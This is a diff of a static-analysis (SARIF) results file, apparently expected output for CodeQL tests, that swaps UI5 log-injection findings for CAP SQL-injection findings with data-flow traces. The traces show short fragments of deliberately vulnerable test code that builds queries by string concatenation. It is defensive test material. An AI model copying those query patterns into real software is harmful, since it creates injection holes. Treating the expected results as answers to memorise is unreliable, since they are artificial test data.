+        "text" : "Possible clickjacking vulnerability due to missing frame options."
+      },
+      "locations" : [ {
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Xss/xss-book-example/webapp/index.html",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 172
+          },
+          "region" : {
+            "startLine" : 2,
+            "endColumn" : 16
+          }
+        }
+      } ],
+      "partialFingerprints" : {
+        "primaryLocationLineHash" : "df700c15dad274b2:1",
+        "primaryLocationStartColumnFingerprint" : "0"
+      }
+    }, {
+      "ruleId" : "js/cap-sql-injection",
+      "rule" : {
+        "id" : "js/cap-sql-injection",
+        "index" : 0,
         "toolComponent" : {
           "index" : 0
         }
       },
       "message" : {
-        "text" : "Log entry depends on a [user-provided value](1)."
+        "text" : "This query depends on a [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 3
+            "index" : 1
           },
           "region" : {
-            "startLine" : 16,
-            "startColumn" : 26,
-            "endColumn" : 31
+            "startLine" : 13,
+            "startColumn" : 36,
+            "endColumn" : 41
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "751ece7cb6fd18f7:1",
-        "primaryLocationStartColumnFingerprint" : "21"
+        "primaryLocationLineHash" : "e5ae8639cd6967fb:1",
+        "primaryLocationStartColumnFingerprint" : "29"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -18495,144 +20698,198 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 1
+                },
+                "region" : {
+                  "startLine" : 7,
+                  "startColumn" : 34,
+                  "endColumn" : 37
+                }
+              },
+              "message" : {
+                "text" : "req"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 1
+                },
+                "region" : {
+                  "startLine" : 8,
+                  "startColumn" : 34,
+                  "endColumn" : 37
+                }
+              },
+              "message" : {
+                "text" : "req"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 13,
-                  "startColumn" : 23,
-                  "endColumn" : 30
+                  "startLine" : 8,
+                  "startColumn" : 34,
+                  "endColumn" : 42
                 }
               },
               "message" : {
-                "text" : "req.url"
+                "text" : "req.data"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 13,
+                  "startLine" : 8,
                   "startColumn" : 13,
-                  "endColumn" : 37
+                  "endColumn" : 31
                 }
               },
               "message" : {
-                "text" : "url.par ... , true)"
+                "text" : "{ book, quantity }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 13,
-                  "startColumn" : 9,
-                  "endColumn" : 37
+                  "startLine" : 8,
+                  "startColumn" : 15,
+                  "endColumn" : 19
                 }
               },
               "message" : {
-                "text" : "q"
+                "text" : "book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 14,
-                  "startColumn" : 17,
-                  "endColumn" : 18
+                  "startLine" : 8,
+                  "startColumn" : 13,
+                  "endColumn" : 42
                 }
               },
               "message" : {
-                "text" : "q"
+                "text" : "book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 14,
-                  "startColumn" : 17,
-                  "endColumn" : 24
+                  "startLine" : 12,
+                  "startColumn" : 50,
+                  "endColumn" : 54
                 }
               },
               "message" : {
-                "text" : "q.query"
+                "text" : "book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 14,
-                  "startColumn" : 17,
-                  "endColumn" : 33
+                  "startLine" : 12,
+                  "startColumn" : 44,
+                  "endColumn" : 56
                 }
               },
               "message" : {
-                "text" : "q.query.username"
+                "text" : "`ID=${book}`"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 14,
-                  "startColumn" : 9,
-                  "endColumn" : 33
+                  "startLine" : 12,
+                  "startColumn" : 19,
+                  "endColumn" : 57
                 }
               },
               "message" : {
-                "text" : "value"
+                "text" : "SELECT. ... book}`)"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 16,
-                  "startColumn" : 26,
-                  "endColumn" : 31
+                  "startLine" : 12,
+                  "startColumn" : 11,
+                  "endColumn" : 57
                 }
               },
               "message" : {
-                "text" : "value"
+                "text" : "query"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 1
+                },
+                "region" : {
+                  "startLine" : 13,
+                  "startColumn" : 36,
+                  "endColumn" : 41
+                }
+              },
+              "message" : {
+                "text" : "query"
               }
             }
           } ]
@@ -18642,14 +20899,14 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 3
+            "index" : 1
           },
           "region" : {
-            "startLine" : 13,
-            "startColumn" : 23,
-            "endColumn" : 30
+            "startLine" : 7,
+            "startColumn" : 34,
+            "endColumn" : 37
           }
         },
         "message" : {
@@ -18657,34 +20914,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/ui5-log-injection",
+      "ruleId" : "js/cap-sql-injection",
       "rule" : {
-        "id" : "js/ui5-log-injection",
-        "index" : 4,
+        "id" : "js/cap-sql-injection",
+        "index" : 0,
         "toolComponent" : {
           "index" : 0
         }
       },
       "message" : {
-        "text" : "Log entry depends on a [user-provided value](1)."
+        "text" : "This query depends on a [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 3
+            "index" : 1
           },
           "region" : {
-            "startLine" : 25,
-            "startColumn" : 26,
-            "endColumn" : 32
+            "startLine" : 15,
+            "startColumn" : 27,
+            "endColumn" : 65
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "191c273ff0751536:1",
-        "primaryLocationStartColumnFingerprint" : "21"
+        "primaryLocationLineHash" : "b41554298e90b620:1",
+        "primaryLocationStartColumnFingerprint" : "20"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -18692,198 +20949,162 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
-                },
-                "region" : {
-                  "startLine" : 21,
-                  "startColumn" : 23,
-                  "endColumn" : 30
-                }
-              },
-              "message" : {
-                "text" : "req.url"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 21,
-                  "startColumn" : 13,
+                  "startLine" : 7,
+                  "startColumn" : 34,
                   "endColumn" : 37
                 }
               },
               "message" : {
-                "text" : "url.par ... , true)"
+                "text" : "req"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 21,
-                  "startColumn" : 9,
+                  "startLine" : 8,
+                  "startColumn" : 34,
                   "endColumn" : 37
                 }
               },
               "message" : {
-                "text" : "q"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
-                },
-                "region" : {
-                  "startLine" : 22,
-                  "startColumn" : 17,
-                  "endColumn" : 18
-                }
-              },
-              "message" : {
-                "text" : "q"
+                "text" : "req"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 22,
-                  "startColumn" : 17,
-                  "endColumn" : 24
+                  "startLine" : 8,
+                  "startColumn" : 34,
+                  "endColumn" : 42
                 }
               },
               "message" : {
-                "text" : "q.query"
+                "text" : "req.data"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 22,
-                  "startColumn" : 17,
-                  "endColumn" : 33
+                  "startLine" : 8,
+                  "startColumn" : 13,
+                  "endColumn" : 31
                 }
               },
               "message" : {
-                "text" : "q.query.username"
+                "text" : "{ book, quantity }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 22,
-                  "startColumn" : 9,
-                  "endColumn" : 33
+                  "startLine" : 8,
+                  "startColumn" : 15,
+                  "endColumn" : 19
                 }
               },
               "message" : {
-                "text" : "value"
+                "text" : "book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 23,
-                  "startColumn" : 39,
-                  "endColumn" : 44
+                  "startLine" : 8,
+                  "startColumn" : 13,
+                  "endColumn" : 42
                 }
               },
               "message" : {
-                "text" : "value"
+                "text" : "book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 23,
-                  "startColumn" : 18,
-                  "endColumn" : 45
+                  "startLine" : 15,
+                  "startColumn" : 58,
+                  "endColumn" : 62
                 }
               },
               "message" : {
-                "text" : "jQuery. ... (value)"
+                "text" : "book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 23,
-                  "startColumn" : 9,
-                  "endColumn" : 45
+                  "startLine" : 15,
+                  "startColumn" : 52,
+                  "endColumn" : 64
                 }
               },
               "message" : {
-                "text" : "value1"
+                "text" : "`ID=${book}`"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 25,
-                  "startColumn" : 26,
-                  "endColumn" : 32
+                  "startLine" : 15,
+                  "startColumn" : 27,
+                  "endColumn" : 65
                 }
               },
               "message" : {
-                "text" : "value1"
+                "text" : "SELECT. ... book}`)"
               }
             }
           } ]
@@ -18893,14 +21114,14 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 3
+            "index" : 1
           },
           "region" : {
-            "startLine" : 21,
-            "startColumn" : 23,
-            "endColumn" : 30
+            "startLine" : 7,
+            "startColumn" : 34,
+            "endColumn" : 37
           }
         },
         "message" : {
@@ -18908,34 +21129,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/ui5-log-injection",
+      "ruleId" : "js/cap-sql-injection",
       "rule" : {
-        "id" : "js/ui5-log-injection",
-        "index" : 4,
+        "id" : "js/cap-sql-injection",
+        "index" : 0,
         "toolComponent" : {
           "index" : 0
         }
       },
       "message" : {
-        "text" : "Log entry depends on a [user-provided value](1)."
+        "text" : "This query depends on a [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js",
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 77
+            "index" : 1
           },
           "region" : {
-            "startLine" : 13,
-            "startColumn" : 38,
-            "endColumn" : 56
+            "startLine" : 18,
+            "startColumn" : 37,
+            "endColumn" : 43
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "fb0b88ea7a3fc8f1:1",
-        "primaryLocationStartColumnFingerprint" : "21"
+        "primaryLocationLineHash" : "967d7be3edc97a9e:1",
+        "primaryLocationStartColumnFingerprint" : "30"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -18943,453 +21164,413 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 86
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 5,
-                  "startColumn" : 5,
-                  "endLine" : 7,
-                  "endColumn" : 29
+                  "startLine" : 7,
+                  "startColumn" : 34,
+                  "endColumn" : 37
                 }
               },
               "message" : {
-                "text" : "value={/input}"
+                "text" : "req"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 78
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 9,
-                  "startColumn" : 17,
-                  "endColumn" : 28
+                  "startLine" : 8,
+                  "startColumn" : 34,
+                  "endColumn" : 37
                 }
               },
               "message" : {
-                "text" : "input: null"
+                "text" : "req"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 77
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 23,
-                  "endColumn" : 38
+                  "startLine" : 8,
+                  "startColumn" : 34,
+                  "endColumn" : 42
                 }
               },
               "message" : {
-                "text" : "{ type: \"int\" }"
+                "text" : "req.data"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 77
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 13,
-                  "startColumn" : 38,
-                  "endColumn" : 56
+                  "startLine" : 8,
+                  "startColumn" : 13,
+                  "endColumn" : 31
                 }
               },
               "message" : {
-                "text" : "oControl.getText()"
+                "text" : "{ book, quantity }"
               }
             }
-          } ]
-        } ]
-      } ],
-      "relatedLocations" : [ {
-        "id" : 1,
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/view/app.view.xml",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 86
-          },
-          "region" : {
-            "startLine" : 5,
-            "startColumn" : 5,
-            "endLine" : 7,
-            "endColumn" : 29
-          }
-        },
-        "message" : {
-          "text" : "user-provided value"
-        }
-      } ]
-    }, {
-      "ruleId" : "js/ui5-log-injection",
-      "rule" : {
-        "id" : "js/ui5-log-injection",
-        "index" : 4,
-        "toolComponent" : {
-          "index" : 0
-        }
-      },
-      "message" : {
-        "text" : "Log entry depends on a [user-provided value](1)."
-      },
-      "locations" : [ {
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 85
-          },
-          "region" : {
-            "startLine" : 17,
-            "startColumn" : 38,
-            "endColumn" : 47
-          }
-        }
-      } ],
-      "partialFingerprints" : {
-        "primaryLocationLineHash" : "f32b0dcd4573d6a3:1",
-        "primaryLocationStartColumnFingerprint" : "21"
-      },
-      "codeFlows" : [ {
-        "threadFlows" : [ {
-          "locations" : [ {
+          }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 91
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 5,
-                  "startColumn" : 5,
-                  "endLine" : 7,
-                  "endColumn" : 29
+                  "startLine" : 8,
+                  "startColumn" : 15,
+                  "endColumn" : 19
                 }
               },
               "message" : {
-                "text" : "value={/input}"
+                "text" : "book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 87
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 9,
-                  "startColumn" : 17,
-                  "endColumn" : 28
+                  "startLine" : 8,
+                  "startColumn" : 13,
+                  "endColumn" : 42
                 }
               },
               "message" : {
-                "text" : "input: null"
+                "text" : "book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 85
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 23,
-                  "endColumn" : 41
+                  "startLine" : 17,
+                  "startColumn" : 53,
+                  "endColumn" : 57
                 }
               },
               "message" : {
-                "text" : "{ type: \"string\" }"
+                "text" : "book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 85
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 15,
-                  "startColumn" : 29,
-                  "endColumn" : 47
+                  "startLine" : 17,
+                  "startColumn" : 45,
+                  "endColumn" : 57
                 }
               },
               "message" : {
-                "text" : "oControl.getText()"
+                "text" : "'ID=' + book"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 85
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 15,
-                  "startColumn" : 21,
-                  "endColumn" : 47
+                  "startLine" : 17,
+                  "startColumn" : 20,
+                  "endColumn" : 58
                 }
               },
               "message" : {
-                "text" : "value"
+                "text" : "SELECT. ... + book)"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 85
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 16,
-                  "startColumn" : 50,
-                  "endColumn" : 55
+                  "startLine" : 17,
+                  "startColumn" : 11,
+                  "endColumn" : 58
                 }
               },
               "message" : {
-                "text" : "value"
+                "text" : "query2"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 1
+                },
+                "region" : {
+                  "startLine" : 18,
+                  "startColumn" : 37,
+                  "endColumn" : 43
+                }
+              },
+              "message" : {
+                "text" : "query2"
+              }
+            }
+          } ]
+        } ]
+      } ],
+      "relatedLocations" : [ {
+        "id" : 1,
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 1
+          },
+          "region" : {
+            "startLine" : 7,
+            "startColumn" : 34,
+            "endColumn" : 37
+          }
+        },
+        "message" : {
+          "text" : "user-provided value"
+        }
+      } ]
+    }, {
+      "ruleId" : "js/cap-sql-injection",
+      "rule" : {
+        "id" : "js/cap-sql-injection",
+        "index" : 0,
+        "toolComponent" : {
+          "index" : 0
+        }
+      },
+      "message" : {
+        "text" : "This query depends on a [user-provided value](1)."
+      },
+      "locations" : [ {
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 1
+          },
+          "region" : {
+            "startLine" : 20,
+            "startColumn" : 27,
+            "endColumn" : 65
+          }
+        }
+      } ],
+      "partialFingerprints" : {
+        "primaryLocationLineHash" : "1c132adaa6986472:1",
+        "primaryLocationStartColumnFingerprint" : "20"
+      },
+      "codeFlows" : [ {
+        "threadFlows" : [ {
+          "locations" : [ {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 85
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 16,
-                  "startColumn" : 43,
-                  "endColumn" : 56
+                  "startLine" : 7,
+                  "startColumn" : 34,
+                  "endColumn" : 37
                 }
               },
               "message" : {
-                "text" : "String(value)"
+                "text" : "req"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 85
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 16,
-                  "startColumn" : 33,
-                  "endColumn" : 57
+                  "startLine" : 8,
+                  "startColumn" : 34,
+                  "endColumn" : 37
                 }
               },
               "message" : {
-                "text" : "encodeX ... value))"
+                "text" : "req"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 85
+                  "index" : 1
                 },
                 "region" : {
-                  "startLine" : 16,
-                  "startColumn" : 21,
-                  "endColumn" : 57
+                  "startLine" : 8,
+                  "startColumn" : 34,
+                  "endColumn" : 42
                 }
               },
               "message" : {
-                "text" : "sanitized"
+                "text" : "req.data"
               }
             }
           }, {
             "location" : {
